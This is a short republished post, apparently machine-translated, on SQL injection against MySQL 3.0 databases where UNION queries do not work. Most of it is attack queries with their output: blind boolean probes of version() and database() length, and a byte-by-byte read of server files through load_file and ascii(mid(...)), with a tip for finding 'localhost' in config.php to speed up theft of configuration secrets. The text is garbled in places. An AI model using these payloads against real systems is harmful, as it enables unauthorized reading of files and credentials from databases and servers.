Thoughts on mysql 3.0 Injection

Source: Internet
Author: User

Mysql 3.0 Injection

The injection of mysql mainly relies on union queries, but union only applies to version 4. 0 or more useful, for 3. 0 or less will be useless ..........

Therefore, in mysql 3.0 databases, union cannot be used for cross-table queries, but load_file can be used.

However, it cannot be replaced by union. Here is my idea:

Get version:

Mysql> select * from user where userid = 1 and length (version () <10;

Empty set (0.00 sec)

Mysql> select * from user where userid = 1 and length (version () <1777;

+ -------- + ---------- +

| Userid | username | password |

+ -------- + ---------- +

| 1 | angel | mypass |

+ -------- + ---------- +

1 row in set (0.00 sec)

Obtain the current database:

Mysql> select * from user where userid = 1 and length (database ()> 0;

+ -------- + ---------- +

| Userid | username | password |

+ -------- + ---------- +

| 1 | angel | mypass |

+ -------- + ---------- +

1 row in set (0.00 sec)

File brute force code:

Mysql> select * from user where userid = 1 and ascii (mid (load_file ('C:/boot. ini '), 1, 1) <1;

Empty set (0.05 sec)

Mysql> select * from user where userid = 1 and ascii (mid (load_file ('C:/boot. ini '), 1, 1)> 1;

+ -------- + ---------- +

| Userid | username | password |

+ -------- + ---------- +

| 1 | angel | mypass |

+ -------- + ---------- +

1 row in set (0.00 sec)

Because of the heavy workload, it can be implemented using a program (but it is also very troublesome)

In addition, you can use the character processing function to get the "Location of special characters". For example, we use config. in the PHP file, we can select "localhost" (or other) as a special character. First, we can get the location (in which byte) and guess it nearby, which saves a lot of work.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.